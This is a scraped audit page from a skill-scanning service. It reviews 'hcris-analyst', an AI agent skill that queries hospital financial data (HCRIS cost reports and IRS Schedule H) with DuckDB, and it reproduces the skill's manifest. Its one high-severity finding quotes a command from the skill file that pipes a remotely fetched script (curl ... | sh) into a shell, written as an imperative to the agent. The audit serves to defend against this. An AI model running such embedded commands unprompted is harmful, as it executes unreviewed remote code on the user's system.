hcris-analyst — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hcris-analyst (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
A skill for analyzing U.S. nonprofit hospital financials. Powered by the trove project's parsed HCRIS Hospital 2552-10 data and IRS 990 Schedule H filings, published as Parquet bundles at troveproject.com.
Invoke when the user asks about:
fda-analyst skill, which ships in the same trove plugin and covers FDA novel drug approvals 2021–2024 (CDER NMEs and novel BLAs plus CBER cell and gene therapies). Hand the question over rather than answering it from here.The data lives as Parquet bundles served over HTTPS from troveproject.com. DuckDB can query them directly. Two execution paths:
duckdb -c "SELECT ... FROM read_parquet('https://troveproject.com/data/...')"import duckdb; duckdb.sql("...").df()Both work in any environment with bash / Python and DuckDB available. If the user has the trove repo cloned and uv sync --all-packages has been run, the Python packages are also importable directly (from hcris import pivot_wide, etc.) — that's faster for repeated queries but not required.
Reference docs (read these before answering):
references/parquet_layout.md — bundle URLs, schemas, common query patterns.references/dictionary.md — every HCRIS variable the bundles expose, with worksheet/line/column source.references/schedule_h.md — IRS 990 Schedule H field map.references/cohorts.md — peer cohort dimensions and useful canned cohorts.references/examples.md — runnable example queries that pattern-match the most common question types.charity_care_cost is HCRIS Worksheet S-10 line 23 column 3, not the gross charges line 22 column 1. Always look up the right column.|hcris_fy_end_dt - sched_h_tax_period_end| ≤ 1 month. ~28% of EIN-matched systems pass this filter; the rest are misaligned and should not be treated as direct like-period views.charity_gap has many legitimate explanations (definitional differences in what each form requires; cost-to-charge ratio handling; charity vs. bad debt classification; non-Medicare patient mix). Explain that the two fields are related but non-identical reporting measures, and that a nonzero difference does not by itself say whether either filing is wrong.When you produce output that quotes data values, cite the source bundle.
Note on ADI: the public bundles do not include Area Deprivation Index (ADI) columns. UW's Neighborhood Atlas terms are non-sublicensable. Users who download the trove repo and the raw ADI data themselves (with a UW account) get ADI in their local matched hospital parquet via packages/sdoh/, but the public skill working over troveproject.com bundles only has access to SVI.
v1.1, May 2026 (SVI added). Bug reports and questions: github.com/cbetz/trove/issues.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.